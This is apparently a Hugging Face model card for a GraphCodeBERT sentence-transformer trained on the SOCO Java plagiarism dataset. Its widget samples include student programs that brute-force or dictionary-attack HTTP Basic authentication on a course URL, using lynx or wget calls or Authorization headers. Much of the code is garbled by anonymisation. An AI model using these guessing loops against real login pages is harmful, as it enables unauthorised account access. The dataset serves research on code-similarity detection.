- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Dictionary{\n\n private String passwd = \"\"; \n private String command = \"\"; \n private String fname = \"/usr/share/lib/dict/words\"; \n private BufferedReader readin; \n private BufferedReader in; \n private PrintWriter out; \n\n private int startTime = 0; \n private int endTime = 0; \n private int totalTimes = 0; \n \n private boolean bfind = false;\n \n public Dictionary(){}\n \n public void readPasswd(){\n startTime = System.currentTimeMillis();\n try{\n readin = new BufferedReader(new FileReader(fname));\n\t\t\t\t while ((passwd = readin.readLine()) !=null){\n \t\t if(bfind)\n \t\t break;\n connection(passwd.trim());\n\t\t\t\t }\n\t\t\t\t readin.print();\n\t\t\t }catch (FileNotFoundException e1){System.out.println(e1.getMessage());}\n\t\t\t catch (IOException e2 ){System.out.println(e2.getMessage());}\n\t }\n \n public void connection(String passwd){\n command = \"lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:\";\n command = command + passwd;\n try{\n System.out.println(passwd +\"--> Establishing a connection.\");\n Runtime runtime = Runtime.getRuntime();\n Process p = runtime.exec(command);\n in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n String inStr;\n while((inStr = in.readLine())!= null){\n if(inStr.indexOf(\"HTTP/1.1 200\") != -1 || inStr.indexOf(\"HTTP/1.0 200\") != -1||\n inStr.indexOf(\"HTTP/1.1 404\") != -1 || inStr.indexOf(\"HTTP/1.0 404\") != -1){\n endTime = System.currentTimeMillis();\n totalTimes = endTime - startTime;\n System.out.println(\"\\nDictionary Crack Passwd successful, PassWord is \" + passwd);\n System.out.println(\"Total Times is \" + totalTimes + \" milliSec\");\n System.out.println(\"Writing it dictpswd.txt file\\n\");\n out = new PrintWriter(new BufferedWriter(new FileWriter(\"dictpswd.txt\")));\n out.println(\"Dictionary Crack PassWord Successful! Total Times: \" + totalTimes + \" milliSec\");\n out.println(\"Passwd: \"+ passwd);\n out.flush();\n bfind = true;\n }\n out.print();\n }\n in.print();\n }catch(Exception e){System.out.println(e.getMessage());}\n }\n \n public String getAnyKey()throws Exception{\n\t\t BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));\n\t\t String key= stdin.readLine();\n\t return key;\n\t }\n\t \n public static void main (String []args){\n\n Dictionary dc = new Dictionary();\n System.out.println(\"\\n*******************************************\");\n System.out.println(\"* *\");\n System.out.println(\"* Dictionary Crack Passwd Program *\");\n System.out.println(\"* --------------------------------- *\");\n System.out.println(\"* Author: *\");\n System.out.println(\"* *\");\n System.out.println(\"*******************************************\");\n System.out.println(\"\\n Dictionary Crack Passwd Information: \\n\");\n System.out.println(\"--> UserName: \");\n System.out.println(\"--> Passwd from the dictionary file: \"+ dc.fname);\n System.out.println(\"--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\\n\");\n System.out.println(\"==> Press Ctrl+C stop Crack\\n\");\n System.out.print(\"==> Press EnterKey : \");\n\t\t\t try{\n String key = dc.getAnyKey();\n }catch(Exception e){System.out.println(e.getMessage());}\n\t\t\t dc.readPasswd();\n }\n}"
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender = \"@cs.rmit.edu.\";\n\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\tString hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\ttry\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient, hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL, imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n"
sentences:
- |-
import java.io.IOException;
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce
{
static String strLetter[];
static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;
static String strExceptionPassword[];
static int intExceptionCount = -1;
static int intNumberOfConnectionAttempts = 0;
static String username = "";
static String strLastPasswordTested;
public static void main (String args[])
{
Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;
calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();
System.out.println();
System.out.println();
populateArray();
boolean boolPasswordFound = false;
boolean boolExceptionPasswordsTestedAgain = false;
String strPasswd;
String urlString
= "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int intCounter1 = 0;
int intCounter2 = 0;
int intCounter3 = 0;
int intArrayLength = strLetter.length;
strExceptionPassword = new String[5000];
if (!boolPasswordFound)
{
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strLetter[intCounter1],
boolPasswordFound);
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound
(urlString,
strLetter[intCounter1]
+ strLetter[intCounter2],
boolPasswordFound);
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) )
{
intCounter3 = 0;
while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound
(urlString,
strLetter[intCounter1]
+ strLetter[intCounter2]
+ strLetter[intCounter3],
boolPasswordFound);
intCounter3++;
}
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
{
boolExceptionPasswordsTestedAgain = true;
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strExceptionPassword[intCounter1],
boolPasswordFound);
intCounter1++;
}
}
System.out.println();
calFinish = new GregorianCalendar();
dateFinish = calFinish.getTime();
lngFinish = dateFinish.getTime();
System.out.println();
System.out.println();
System.out.println();
System.out.println("Length of time for processing: " +
((lngFinish - lngStart) / 1000) +
" seconds");
System.out.println();
System.out.println("Number of connection attempts = " + intNumberOfConnectionAttempts);
System.out.println();
System.out.println("Number of exceptions thrown = " + (intExceptionCount + 1));
if (intExceptionCount >= 0)
{
System.out.print("These EXCEPTION passwords WERE ");
if (boolExceptionPasswordsTestedAgain)
System.out.print("tested again.");
else
System.out.print("NOT tested again.");
System.out.println();
}
System.out.println();
if (boolPasswordFound)
{
System.out.println("The correct password WAS found - this password is '" +
strLastPasswordTested + "'.");
}
else
{
System.out.println("The correct password WAS NOT found.");
}
System.out.println();
}
static void populateArray()
{
strLetter = new String[52];
strLetter[0] = "a";
strLetter[1] = "b";
strLetter[2] = "c";
strLetter[3] = "d";
strLetter[4] = "e";
strLetter[5] = "f";
strLetter[6] = "g";
strLetter[7] = "h";
strLetter[8] = "i";
strLetter[9] = "j";
strLetter[10] = "k";
strLetter[11] = "l";
strLetter[12] = "m";
strLetter[13] = "n";
strLetter[14] = "o";
strLetter[15] = "p";
strLetter[16] = "q";
strLetter[17] = "r";
strLetter[18] = "s";
strLetter[19] = "t";
strLetter[20] = "u";
strLetter[21] = "v";
strLetter[22] = "w";
strLetter[23] = "x";
strLetter[24] = "y";
strLetter[25] = "z";
strLetter[26] = "A";
strLetter[27] = "B";
strLetter[28] = "C";
strLetter[29] = "D";
strLetter[30] = "E";
strLetter[31] = "F";
strLetter[32] = "G";
strLetter[33] = "H";
strLetter[34] = "I";
strLetter[35] = "J";
strLetter[36] = "K";
strLetter[37] = "L";
strLetter[38] = "M";
strLetter[39] = "N";
strLetter[40] = "O";
strLetter[41] = "P";
strLetter[42] = "Q";
strLetter[43] = "R";
strLetter[44] = "S";
strLetter[45] = "T";
strLetter[46] = "U";
strLetter[47] = "V";
strLetter[48] = "W";
strLetter[49] = "X";
strLetter[50] = "Y";
strLetter[51] = "Z";
}
static boolean passwordWasFound(String urlString,
String password,
boolean retVal)
{
String strEncodeInput = username + ":" + password;
boolean returnValue = retVal;
boolean boolExceptionThrown = false;
try
{
strLastPasswordTested = password;
intNumberOfConnectionAttempts++;
url = new URL(urlString);
String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
System.out.print("username = " +
username +
" " +
"password = " +
password);
HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
urlConnection.setRequestProperty("Authorization",
" " + encoding);
System.out.println(" response = " + urlConnection.getResponseCode());
if (urlConnection.getResponseCode() == 401)
{
returnValue = false;
}
}
catch (MalformedURLException m)
{
boolExceptionThrown = true;
returnValue = false;
System.err.println(m);
System.out.println("Malformed URL Exception error");
}
catch (IOException io)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("IOException error");
System.err.println(io);
}
catch (Exception e)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println("General exception.....");
System.err.println(e);
}
finally
{
urlConnection = null;
url = null;
}
if (boolExceptionThrown)
{
intExceptionCount++;
strExceptionPassword[intExceptionCount] = password;
}
return returnValue;
}
}
- |
import java.Object;
import java.io.*;
import java.String;
import java.util.*;
class Dictionary{
public static void main(String [] args){
try
{
Date d = new Date();
String line1="";
String ps="";
String file1 = "words.txt";
String file2 = "index.html";
String endline="Authorization failed.";
String [] cmd = new String[4];
cmd[0] = "wget";
cmd[1] = "--http-user=";
cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";
FileReader fr1 = new FileReader(file1);
BufferedReader in1 = new BufferedReader(fr1);
while((line1 = in1.readLine())!=null)
{
try{
cmd[2] = connect(line1);
Runtime.getRuntime().exec(cmd);
if(line1.length()==3)
ps = line1;
System.out.println(cmd[2]);
File f = new File(file2);
if(f.exists())
{
System.out.println("password: " + ps);
break;
}
}
catch(IOException ex)
{
System.out.println("hello1");
}
}
Date end = new Date();
System.out.println(d.toString());
System.out.println(end.toString());
System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
}
catch(IOException e)
{
System.out.println("hello,didnt find file.");
}
}
public static String connect(String str1)
{
char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
String str = new String(data);
return str + str1;
}
}
- |
import java.io.*;
public class PasswordFile {
private String strFilepath;
private String strCurrWord;
private File fWordFile;
private BufferedReader in;
public PasswordFile(String filepath) {
strFilepath = filepath;
try {
fWordFile = new File(strFilepath);
in = new BufferedReader(new FileReader(fWordFile));
}
catch(Exception e)
{
System.out.println("Could not open file " + strFilepath);
}
}
String getPassword() {
return strCurrWord;
}
String getNextPassword() {
try {
strCurrWord = in.readLine();
}
catch (Exception e)
{
return null;
}
return strCurrWord;
}
}
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader(\"words\");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(\" cracking....\");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = \"wget --http-user= --http-passwd=\"+word +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n catch (NullPointerException ex)\n {\n System.out.println(word);\n }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println(\"The password is :\" + word);\n else\n System.out.println(\"NOT FOUND!\");\n\t}\n}"
sentences:
- "\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n String url;\n String fileName;\n int flag;\n private PrintWriter out2;\n private TextArea response;\n int status;\n int mailFlag;\n\n public WriteFile (String newUrl, String newFileName, int newFlag)\n {\n url = newUrl;\n fileName = newFileName;\n PrintWriter printW = null;\n FileOutputStream fout;\n flag = newFlag;\n status = 0;\n mailFlag = 0;\n\n \n File file = new File(fileName);\n file.delete();\n\n try\n {\n fout = new FileOutputStream(fileName,true);\n printW = new PrintWriter(fout);\n }\n catch (IOException ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n }\n\n\n URL u;\n URLConnection uc;\n\n try\n {\n u = new URL(url);\n try\n {\n \n uc = u.openConnection();\n\n InputStream content = (InputStream)uc.getInputStream();\n BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n String line;\n\n \n while ((line = in.readLine()) != null)\n {\n \n printW.println(line);\n\n }\n }\n catch (Exception e)\n {\n System.out.println(\"Error: \" + e);\n }\n }\n catch (MalformedURLException e)\n {\n System.out.println(url + \" is not a parseable URL\");\n }\n \n printW.print();\n\n\n if(flag == 1)\n {\n \n compareDiff(\"@.rmit.edu.\");\n }\n }\n\n String loadStream(InputStream in) throws IOException\n {\n int ptr = 0;\n in = new BufferedInputStream(in);\n StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next()) != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n mailFlag++;\n \n }\n return buffer.toString();\n }\n\n public void compareDiff(String emailAdd)\n {\n String cmds = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n file.delete();\n String ;\n\n try\n {\n fout2 = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n }\n catch (IOException ioe)\n {\n System.out.println(\"IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n BufferedReader buf2;\n\n try\n {\n fRead2 = new FileReader(\"diff.txt\");\n buf2 = new BufferedReader(fRead2);\n String line2;\n int i=0;\n\n line = new String(\" some changes the web as followed: \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\", 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n send(null);\n send(\"HELO cs.rmit.edu.\");\n send(\"MAIL FROM: @.rmit.edu.\");\n \n send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \n\n while( (line2 = buf2.readLine()) != null)\n {\n \n line= new String(\"\"+line2+\"\\n\");\n \n \n\n }\n \n \n \n out2.print();\n send(\".\");\n s.print();\n }\n catch(FileNotFoundException e)\n {\n System.out.println(\"File not found\");\n }\n catch(IOException ioe)\n {\n System.out.println(\"IO Error \" + ioe);\n }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n \n System.err.print(loadStream(ps.getErrorStream()));\n }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n }\n }\n\n public void send(String s) throws IOException\n {\n \tresponse = new TextArea();\n \tif(s != null)\n \t{\n response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}"
- "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n private String password=\"\";\n\n private int num=401;\n\n\n public static void main(String[] args) {\n\n\n Dictionary URLcon;\n\n int length = 0;\n\n String passwd=\"\";\n\n int t0,t1;\n\n String line =\"\";\n \n if (args.length == 0) {\n \t\n System.err.println (\n \t\t\n \t\t\"Usage : java BruteForce <username>\");\n return;\n \t\n }\n \n String username = args[0];\n \n \n t0=System.currentTimeMillis();\n \n System.out.println (\" \" + new Date());\n System.out.println (\"Using Dictionary method attack \"+username+\"'s password. Please waiting.......\");\n\n try{ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n while ((passwd=in.readLine())!=null) {\n\n \t URLcon = new Dictionary (passwd,username);\n\n if ((URLcon.num)!=401) {\n\n \tt1=System.currentTimeMillis();\n\n System.out.println(\"The password: \"+ passwd);\n\n \tdouble dt =t1-t0;\n\n \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds\");\n \n System.out.println (\"Finish \" + new Date());\n \n \treturn;\n\n }\n\n\n \t}\n\n }catch (FileNotFoundException e){\n \tSystem.out.println(e);\n }catch (IOException e){\n \tSystem.out.println(e);\n }\n\n\n System.out.println(\" not find the password\");\n\n\n}\n\n public Dictionary (String password,String username) {\n\n \t String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n \n try {\n\n String userPassword = username+\":\"+password ;\n\n String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n URL url = new URL (urlString);\n\n HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n url = uc.getResponseCode();\n\n\n }\n catch(MalformedURLException e){\n \t System.out.println(e);\n }catch(IOException e){\n System.out.println(e);\n }\n\n\n }\n}"
- "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\nimport java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[] args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\";\n String currentPage = \"\"; \n \n \n System.out.println(\" stop the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n while (!loggedout){\n \n currentPage=\"\";\n \n \n Date date = new Date();\n startTime=date.getTime();\n \n \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \n }\n finally {\n\twhile(in!=null)\n in.next();\n }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim())) {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\tif (checkCurrentPage.length()<checkLastPage.length()) {\n iterations = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n iterations = checkLastPage.length();\n\t lastLongestString = false;\n\t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean add=false;\n\tString subtractions = \"Here the parts removed from the : \\n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\titerations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count, checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n \n writeData(currentPage);\n \n \n wait24(startTime);\n } \n } \n \n \n private static void wait24( int startTime) {\n boolean waiting=true;\n while(waiting){\n Date endDate = new Date();\n endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n \n waiting=false;\n }\t\n }\n } \n \n \n public static String readData() {\n String data;\n String lastPage=\"\";\n try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1) {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println (\"Sorry, 't write file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println (\"Sorry, 't write file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer: Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\": <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\");\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable is null!\");\n } \n catch(Exception e){ \n System.out.println(\"Host unknown\"); \n }\n } \n \n} \n\n\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on microsoft/graphcodebert-base
This is a sentence-transformers model finetuned from microsoft/graphcodebert-base. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/graphcodebert-base
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
